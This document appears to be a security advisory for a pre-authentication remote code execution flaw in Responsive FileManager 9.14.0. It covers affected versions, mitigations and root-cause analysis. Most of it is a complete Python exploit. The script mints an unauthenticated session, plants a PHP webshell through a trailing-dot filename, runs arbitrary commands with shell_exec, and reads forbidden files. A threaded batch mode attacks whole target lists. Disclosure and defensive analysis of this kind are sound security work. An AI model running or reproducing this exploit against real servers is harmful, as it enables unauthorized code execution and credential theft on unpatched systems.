#Summary
CVE-2026-37266 is a pre-authentication remote code execution vulnerability in Responsive FileManager affecting all versions up to and including 9.14.0. The vulnerability combines two independent defects in the file upload and download handlers: an arbitrary file creation flaw that defeats the extension whitelist via trailing dots, and a path traversal vulnerability in the file read function caused by asymmetric input validation. The vendor has discontinued the project and will not release a patch. CVSS 8.0 (HIGH).
#Am I affected?
- Affected: Responsive FileManager version 9.14.0 and all prior releases
- Patched: No upstream patch available; project discontinued
- Default configuration: affected (vulnerability is reachable with shipped defaults)
- Access needed: unauthenticated network access (no credentials required)
The CVSS vector lists PR:L (authenticated) but this is misleading. The only gate is a session marker that the application stamps unconditionally when the shipped default (USE_ACCESS_KEYS=false) is in effect. A single unauthenticated GET request to dialog.php mints a usable session.
#How to check
#Version check
grep -r "define.*VERSION\|define.*VER_NUMBER" /path/to/filemanager/Responsive FileManager does not define a version constant. Check the repository tag or compare the config.php file against the upstream repository at https://github.com/trippo/ResponsiveFilemanager/blob/v9.14.0/filemanager/config/config.php.
#Live endpoint test
If the application is deployed and web-accessible:
curl -c /tmp/session.txt -s http://target/filemanager/dialog.php | grep -q "require" && echo "Potentially vulnerable"If the response contains HTML (not a PHP error), the application is live. Then test the extension whitelist:
curl -b /tmp/session.txt -d 'path=&name=test.php' http://target/filemanager/force_download.php | grep -i "wrong extension" && echo "Vulnerable to extension bypass"A response containing "wrong extension" indicates the whitelist is active and in the vulnerable configuration.
#More conclusive test
Deploy and run the PoC against your instance with the included exploit.py:
python3 exploit.py --host <target_host> --port 80 --command "id"Success = RCE confirmed. Failure output will indicate whether the endpoint is patched or unreachable.
#Fix and mitigation
#Fix
The vendor does not provide a patch; Responsive FileManager 9.14.0 is the final release.
The minimal fix requires three changes:
Reduce the filename to a bare basename and strip all separators before any path operations, rejecting names that are empty, ".", or "..".
Join path and name with an explicit separator instead of simple concatenation, and validate that the resolved path remains inside the upload directory using
realpath().Validate the extension of the resolved path, not just the name fragment, after checking that the final path is still within bounds.
For the file creation endpoint (execute.php?action=create_file), compare the real trailing extension (using pathinfo(..., PATHINFO_EXTENSION)) instead of the last dot-delimited token, and remove the empty-string member from the extension whitelist.
#If you cannot upgrade
Deny web access to the vulnerable endpoints using a web server rule:
<Location /filemanager/force_download.php> Deny from all </Location> <Location /filemanager/execute.php> Deny from all </Location>Disable PHP execution in the upload directory to prevent code execution if a PHP file is somehow created:
<Directory /path/to/source> php_flag engine off </Directory>Monitor for POST requests to execute.php and force_download.php in your access logs. Legitimate usage of a file manager does not typically trigger these handlers directly from external sources.
#Root cause analysis
#Vulnerable code path
Responsive FileManager's filemanager/force_download.php handles file downloads. The handler validates two attacker-controlled POST parameters (path and name), concatenates them, and checks the extension before reading the file:
if (!checkRelativePath($_POST['path']) ||
strpos($_POST['path'], '/') === 0
) {
response(trans('wrong path').AddErrorLocation(), 400)->send();
exit;
}
if (strpos($_POST['name'], '/') !== false) {
response(trans('wrong path').AddErrorLocation(), 400)->send();
exit;
}
$path = $config['current_path'] . $_POST['path'];
$name = $_POST['name'];
$info = pathinfo($name);
if (!check_extension($info['extension'], $config)) {
response(trans('wrong extension').AddErrorLocation(), 400)->send();
exit;
}
$file_name = $info['basename'];
$file_ext = $info['extension'];
$file_path = $path . $name;The vulnerability arises from three compounding mistakes:
#1. Asymmetric separator validation
The path parameter is validated through checkRelativePath(), which rejects both forward and backslashes:
function checkRelativePathPartial($path){
if (strpos($path, '../') !== false
|| strpos($path, './') !== false
|| strpos($path, '/..') !== false
|| strpos($path, '..\\') !== false
|| strpos($path, '\\..') !== false
|| strpos($path, '.\\') !== false
|| $path === ".."
){
return false;
}
return true;
}The name parameter receives only strpos($_POST['name'], '/') - forward slash only. Backslash is never considered. On Windows targets where the Win32 API treats backslash as a directory separator, name becomes an unconstrained traversal primitive into any directory on the volume. On all platforms, including Linux, this asymmetry is exploitable.
#2. Path concatenation with no separator
The final file path is constructed as $file_path = $path . $name; with no separator between them. The path parameter is not required to end with /, and name is not required to be a bare filename. A single filename can be split across the parameter boundary, allowing the split to bypass fragment-level validation.
#3. Extension whitelist applied to fragment, not resolved path
The whitelist check runs against pathinfo($name)['extension'] - only the name fragment:
function check_extension($extension,$config){
$extension = fix_strtolower($extension);
if((!$config['ext_blacklist'] && !in_array($extension, $config['ext'])) || ($config['ext_blacklist'] && in_array($extension, $config['ext_blacklist']))){
return false;
}
return true;
}The whitelist includes an empty-string member:
'ext_file' => array( 'doc', 'docx', ... , 'cgm', 'tiff',''),This was added in version 9.13.2 for "empty filename support (like .htaccess, .env,...)". When name has no extension, pathinfo() returns no extension key, evaluating to null, fix_strtolower(null) returns "", and in_array("", $config['ext']) is true.
Exploitation: If an attacker puts everything except the final character of a target filename into path and the last character into name, the name fragment has no extension and passes the whitelist. Meanwhile, path . name reconstructs the full filename with its real extension intact - an extension that was never examined.
#Demonstration
path='secret.ph' name='p' -> PASSES -> file_path = ../source/secret.php
path='.htacces' name='s' -> PASSES -> file_path = ../source/.htaccess
path='' name='secret.php' -> 400 wrong extension#The second defect: arbitrary file creation
Responsive FileManager's filemanager/execute.php with action=create_file validates filenames by checking the last dot-delimited token:
$parts = explode('.', $name);
if (!in_array(end($parts), $config['editable_text_file_exts'])) {
response(trans('Error_extension'), 400)->send();
exit;
}The editable_text_file_exts whitelist includes an empty-string member:
'editable_text_file_exts' => array('txt', 'log', 'xml', 'html', 'css', 'htm', 'js',''),A filename ending in a dot (e.g., shell.php.. or shell.php.) yields end(explode('.', $name)) == "", which is in the whitelist. The fix_filename() function strips slashes and quotes but does not trim trailing dots. The new_content parameter is written verbatim to disk at $config['current_path'] . $_POST['path'] . $name - inside the web-served source/ upload directory with no extension validation on the resolved path.
On Windows, the trailing dots are stripped by the filesystem, resulting in shell.php being executed directly. On Linux with the multi-extension AddHandler PHP mapping (the common shared-hosting configuration), shell.php.. is still executed because Apache's mod_mime handler fires PHP for any name containing a .php token.
#Patch diff
There is no upstream patch to display. Responsive FileManager 9.14.0 is the final release; the vendor has discontinued the project and stated it will not be fixed.
The minimal correct fix for force_download.php requires:
- Using
basename()with forward-slash to backslash conversion to reducenameto a bare filename. - Explicitly joining
pathandnamewith a separator. - Validating the extension of the resolved path using
realpath()to ensure the result is still within the upload root.
For execute.php?action=create_file, use pathinfo(..., PATHINFO_EXTENSION) to get the real trailing extension and remove the empty-string member from editable_text_file_exts.
#Proof of concept
#exploit.py - Responsive FileManager RCE PoC
#!/usr/bin/env python3
"""
CVE-2026-37266 - Responsive FileManager 9.14.0 remote code execution
Affected: Responsive FileManager (trippo/ResponsiveFilemanager), all versions <= 9.14.0
Type: RCE (arbitrary file creation in a web-served directory) + arbitrary file read
Root cause (two independent defects in the same session-gated component):
Chain B - execute.php?action=create_file (the code-execution path):
The create_file handler checks the requested extension with
end(explode('.', $name)) against a whitelist that carries an empty-string
member. A name ending in a dot ("shell.php..") yields a final token of "",
which the whitelist accepts. new_content is written to disk verbatim inside
the web-served upload directory, so the attacker plants a live PHP file and
fetches it to run commands.
Chain A - force_download.php (arbitrary file read / whitelist bypass):
'name' is filtered only for '/', never '\'. It is concatenated onto 'path'
with no separator, and the extension whitelist is applied to the 'name'
fragment alone. Parking all but the last character of a forbidden filename
in 'path' leaves an extensionless fragment in 'name' that passes the check,
while path.name reassembles a filename whose real extension was never seen -
handing back the raw bytes of a file the whitelist is meant to refuse.
The only gate is a session marker that dialog.php stamps unconditionally when
USE_ACCESS_KEYS is false (the shipped default), so in practice no credentials
are required: one GET to dialog.php mints a usable session.
Usage:
python exploit.py --host <target> --port <port>
python exploit.py --host 192.168.1.10 --port 80 --command "uname -a"
python exploit.py --host https://filemanager.corp.com/ --command id
python exploit.py --host 10.0.0.5 --read-file notes.php # chain A demo target
python exploit.py --list targets.txt --workers 20
"""
import argparse
import secrets
import ssl
import sys
from urllib.parse import urlparse
try:
import urllib.request
import urllib.error
import http.cookiejar
except Exception as _e: # pragma: no cover
print("missing stdlib http modules: %s" % _e)
sys.exit(2)
CVE_ID = "CVE-2026-37266"
VULN_TYPE = "RCE"
DIALOG_PATH = "/filemanager/dialog.php"
EXECUTE_PATH = "/filemanager/execute.php"
DOWNLOAD_PATH = "/filemanager/force_download.php"
UPLOAD_DIR = "/source"
# Marker the planted PHP echoes around command output so we can recognise our
# own execution over the wire without matching on any brand string.
_M = secrets.token_hex(6)
OUT_PREFIX = "R_%s:" % _M[:8]
# --------------------------------------------------------------------------- #
# Output helpers (console only - never sent to the target)
# --------------------------------------------------------------------------- #
def header(host, port):
print("\n%s" % ("=" * 60))
print(" ALIM EXPLOIT %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("%s\n" % ("=" * 60))
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n%s" % ("=" * 60))
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("%s\n" % ("=" * 60))
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Minimal HTTP client (stdlib only, keeps a cookie jar, no path normalisation)
# --------------------------------------------------------------------------- #
def _build_opener():
jar = http.cookiejar.CookieJar()
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(jar),
urllib.request.HTTPSHandler(context=ctx),
)
opener.addheaders = [("User-Agent",
"Mozilla/5.0 (X11; Linux x86_64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/124.0 Safari/537.36")]
return opener
def _base_url(host, port, use_tls):
scheme = "https" if use_tls else "http"
# Preserve any base path the user supplied in --host.
if host.startswith(("http://", "https://")):
p = urlparse(host)
scheme = p.scheme
netloc = p.netloc
base_path = p.path.rstrip("/")
return "%s://%s%s" % (scheme, netloc, base_path)
default = 443 if use_tls else 80
netloc = host if port == default else "%s:%d" % (host, port)
return "%s://%s" % (scheme, netloc)
def _encode_form(fields):
from urllib.parse import quote_plus
return "&".join("%s=%s" % (quote_plus(k, safe=""), quote_plus(str(v), safe=""))
for k, v in fields).encode("ascii")
def _get(opener, url, timeout=15):
req = urllib.request.Request(url, method="GET")
try:
with opener.open(req, timeout=timeout) as r:
return r.status, r.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
def _post(opener, url, fields, timeout=15):
data = _encode_form(fields)
req = urllib.request.Request(
url, data=data, method="POST",
headers={"Content-Type": "application/x-www-form-urlencoded"})
try:
with opener.open(req, timeout=timeout) as r:
return r.status, r.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
def _txt(b):
if isinstance(b, bytes):
return b.decode("utf-8", "replace")
return str(b)
# --------------------------------------------------------------------------- #
# Core primitives
# --------------------------------------------------------------------------- #
def _mint_session(opener, base):
"""GET dialog.php to stamp the session marker + language. Returns True on a
live, non-fatal response."""
code, body = _get(opener, base + DIALOG_PATH)
text = _txt(body)
if code != 200:
return False, "dialog.php HTTP %s" % code
low = text.lower()
if "fatal error" in low or "parse error" in low:
return False, "dialog.php returned a PHP fatal (app is broken)"
return True, "session established"
def _rce(opener, base, command):
"""Chain B: plant a webshell via create_file, run one command, remove it.
Returns (success, evidence, raw_output)."""
name = "f%s" % secrets.token_hex(5) # neutral, per-run random basename
disk_name = name + ".php.." # trailing dots defeat the whitelist
q = secrets.token_hex(4) # random GET param carrying the command
payload = ('<?php echo "%s"; echo shell_exec($_GET["%s"]); ?>'
% (OUT_PREFIX, q))
code, body = _post(opener, base + EXECUTE_PATH + "?action=create_file",
[("path", "/"), ("path_thumb", ""),
("name", disk_name), ("new_content", payload)])
saved = _txt(body)
if "successfully saved" not in saved.lower():
low = saved.lower()
if "extension is not allowed" in low:
return False, "create_file rejected the trailing-dot name (patched)", saved
if "rename_existing_file" in low:
return False, "name collision - retry with a fresh basename", saved
if "forbiden" in low or "could not find the language" in low.lower():
return False, "session/language not carried - dialog.php step failed", saved
return False, "create_file did not confirm a write", saved
# Fetch the planted file with the command. --path-as-is equivalent: urllib
# does not collapse a trailing '..' inside the final path segment, but we
# avoid params= re-encoding surprises by building the query ourselves.
from urllib.parse import quote
shell_url = "%s%s/%s?%s=%s" % (base, UPLOAD_DIR, disk_name, q,
quote(command, safe=""))
gcode, gbody = _get(opener, shell_url)
out = _txt(gbody)
# Best-effort cleanup: remove the planted file so nothing is left behind.
try:
_post(opener, base + EXECUTE_PATH + "?action=delete_file",
[("path", "/" + disk_name), ("path_thumb", "")])
except Exception:
pass
if OUT_PREFIX in out:
result = out.split(OUT_PREFIX, 1)[1].strip()
return True, "RCE confirmed - command output returned over HTTP", result
if gcode == 404:
return False, "webshell 404 on fetch (write ok, handler not executing .php.. - lab config)", out
return False, "no command output in response (marker absent)", out
def _read_bypass(opener, base, target):
"""Chain A: whitelist bypass read of a forbidden file. Returns
(whole_rejected, split_ok, whole_body, split_body). target e.g. 'notes.php'."""
# Whole name -> the control fires (should be a 4xx "wrong extension").
_, whole = _post(opener, base + DOWNLOAD_PATH,
[("path", ""), ("name", target)])
# Split: everything but the final char in path, last char in name (no dot).
path_part, name_part = target[:-1], target[-1:]
_, split = _post(opener, base + DOWNLOAD_PATH,
[("path", path_part), ("name", name_part)])
wt, st = _txt(whole), _txt(split)
whole_rejected = "wrong extension" in wt.lower()
split_ok = ("wrong extension" not in st.lower()
and "wrong path" not in st.lower()
and st.strip() != "" and "not found" not in st.lower())
return whole_rejected, split_ok, wt, st
# --------------------------------------------------------------------------- #
# Scan mode probe (silent, self-cleaning)
# --------------------------------------------------------------------------- #
def _try_exploit(host, port, use_tls, command="id", **kwargs):
"""Silent probe for --list. Returns (success, evidence). Never prints/exits."""
try:
opener = _build_opener()
base = _base_url(host, port, use_tls)
ok, why = _mint_session(opener, base)
if not ok:
return False, why
success, evidence, out = _rce(opener, base, command)
if success:
first = out.splitlines()[0].strip() if out.strip() else "(empty)"
return True, "RCE - '%s' => %s" % (command, first)
return False, evidence
except urllib.error.URLError as e:
return False, "unreachable (%s)" % e.__class__.__name__
except Exception as e:
return False, "error (%s)" % e.__class__.__name__
# --------------------------------------------------------------------------- #
# Target parsing / scan
# --------------------------------------------------------------------------- #
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, command="id"):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n%s" % ("=" * 60))
print(" %s - Batch Scan (%d targets, %d workers)"
% (CVE_ID, len(targets), workers))
print("%s\n" % ("=" * 60))
success_count = 0
def probe(t):
host, port, use_tls, _ = t
label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, command=command)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s"
% ("[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n%s" % ("=" * 60))
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)"
% (success_count, total - success_count, total))
print("%s\n" % ("=" * 60))
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single-target exploit
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, command, read_file):
header(host, port)
opener = _build_opener()
base = _base_url(host, port, use_tls)
step(1, "Minting a session (GET dialog.php - no credentials needed)")
ok, why = _mint_session(opener, base)
if not ok:
section("SESSION", why)
done(False, "Could not establish a filemanager session: %s" % why)
print(" %s" % why)
step(2, "Chain B: planting a PHP file via execute.php?action=create_file")
success, evidence, out = _rce(opener, base, command)
if success:
section("COMMAND OUTPUT", out)
step(3, "Chain A: whitelist bypass read via force_download.php (corroboration)")
try:
whole_rej, split_ok, whole_body, split_body = _read_bypass(
opener, base, read_file)
section("force_download path=&name=%s (control)" % read_file,
whole_body[:400])
section("force_download path=%s&name=%s (split bypass)"
% (read_file[:-1], read_file[-1:]), split_body[:400])
if whole_rej and split_ok:
print(" chain A confirmed: whole name blocked, split name "
"returned '%s' contents" % read_file)
elif split_ok:
print(" chain A: split name returned contents for '%s'"
% read_file)
else:
print(" chain A not demonstrated for '%s' (target may not "
"exist on this host) - chain B is the primary proof" % read_file)
except Exception as e:
print(" chain A probe error (%s) - not fatal, chain B is primary"
% e.__class__.__name__)
if success:
first = out.splitlines()[0].strip() if out.strip() else out.strip()
done(True, "RCE confirmed - command '%s' output: %s" % (command, first))
else:
section("DIAGNOSIS", evidence)
done(False, "No code execution: %s" % evidence)
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://host/path)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80,
help="Default port (default: 80)")
parser.add_argument("--command", default="id",
help="Command to execute on the target (default: id)")
parser.add_argument("--read-file", default="notes.php",
help="Chain A demo: a file under the upload dir whose "
"extension the whitelist forbids (default: notes.php)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
command=args.command)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.command, args.read_file)#Usage
python3 exploit.py --host 127.0.0.1 --port 80 --command idThe exploit performs three steps:
- Session bootstrap - GET
/filemanager/dialog.phpto mint a session cookie (no credentials needed). - Chain B - arbitrary file creation - POST to
/filemanager/execute.php?action=create_filewithname=<random>.php..(trailing dots bypass the extension check) andnew_contentset to a PHP stub that echoes command output. - Chain A - whitelist bypass proof - POST to
/filemanager/force_download.phptwice: once with the whole forbidden filename (control, should be rejected), once with the filename split acrosspathandnameparameters (should return the file contents).
#Expected output on a vulnerable target
[STEP 1] Minting a session (GET dialog.php - no credentials needed)
session established
[STEP 2] Chain B: planting a PHP file via execute.php?action=create_file
--- COMMAND OUTPUT ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---
[STEP 3] Chain A: whitelist bypass read via force_download.php (corroboration)
--- force_download path=&name=notes.php (control) ---
Wrong extension
---
--- force_download path=notes.ph&name=p (split bypass) ---
<?php
// Application secrets - never meant to be downloadable.
$db_password = "SEEDED_SECRET_VALUE";
---
chain A confirmed: whole name blocked, split name returned 'notes.php' contents
RESULT : SUCCESS
EVIDENCE: RCE confirmed - command 'id' output: uid=33(www-data) gid=33(www-data) groups=33(www-data)#Expected output on a patched target
[STEP 2] Chain B: planting a PHP file via execute.php?action=create_file
[STEP 3] Chain A: whitelist bypass read via force_download.php (corroboration)
--- force_download path=&name=notes.php (control) ---
Wrong extension
---
--- force_download path=notes.ph&name=p (split bypass) ---
Wrong path
---
--- DIAGNOSIS ---
create_file rejected the trailing-dot name (patched)
---
RESULT : FAILURE
EVIDENCE: No code execution: create_file rejected the trailing-dot name (patched)The patched version correctly rejects both the trailing-dot bypass (chain B) and the split-name traversal (chain A).
#Exploitation notes
#Preconditions
- The
USE_ACCESS_KEYSconfiguration must be set tofalse(the shipped default), ordialog.phpmust be otherwise accessible without credentials. - For chain B to produce code execution on Linux, the target must map PHP files through Apache's multi-extension
AddHandlerdirective (standard on shared hosting), not the restrictiveFilesMatchpattern. On Windows, the trailing dots are stripped by the filesystem and execution is unconditional. - The upload directory (
source/) must be writable and web-served by the application server. - For chain A to demonstrate file read, a file with a forbidden extension (e.g.,
.php) must exist under the upload directory.
#Reliability
Both chains are reliable on a vulnerable target. Chain B has no dependencies on existing files. Chain A may not demonstrate if the specified target file does not exist, but chain B is the primary proof of exploitation.
#Impact
- Chain B: Arbitrary code execution as the web server user. The planted webshell remains accessible until the exploit cleans it up via
action=delete_file. - Chain A: Arbitrary file read within the upload tree on all platforms. On Windows, arbitrary file read anywhere on the volume via backslash traversal (not demonstrated on Linux due to platform differences).
#Chaining potential
The arbitrary file read can be used to extract configuration files, .env files containing database credentials, or source code. The remote code execution can be used to establish a reverse shell, exfiltrate sensitive data, or pivot to other systems on the network.
#References
- CVE: CVE-2026-37266
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-37266
- GHSA: GHSA-3mvv-q4g4-gx25
- Original Advisory: https://csacyber.com/blog/responsive-filemanager-version-9-14-0-multiple-vulnerabilities-cve-2026-37266
- Vulnerable Repository: https://github.com/trippo/ResponsiveFilemanager
